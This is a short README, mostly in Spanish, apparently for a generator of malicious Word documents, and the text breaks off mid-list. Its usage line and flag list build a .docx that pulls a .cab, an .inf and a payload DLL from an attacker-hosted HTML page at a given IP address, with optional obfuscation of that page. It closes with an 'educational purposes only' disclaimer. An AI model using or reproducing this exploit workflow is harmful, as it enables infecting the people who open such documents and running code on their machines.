
Asegúrate de ejecutar primero setup.sh, ya que necesitarás algunos directorios. Una vez que hayas ejecutado el script, deberías poder ejecutar gen.py con el siguiente ejemplo:-
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3
# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity
http.server estará en el directorio web. Este directorio tendrá 3 archivos:-

Este repositorio es únicamente con fines educativos y no está destinado a ser utilizado en entornos reales con malas intenciones. Cualquier uso ilegal de este repositorio es estrictamente bajo tu propia responsabilidad y riesgo.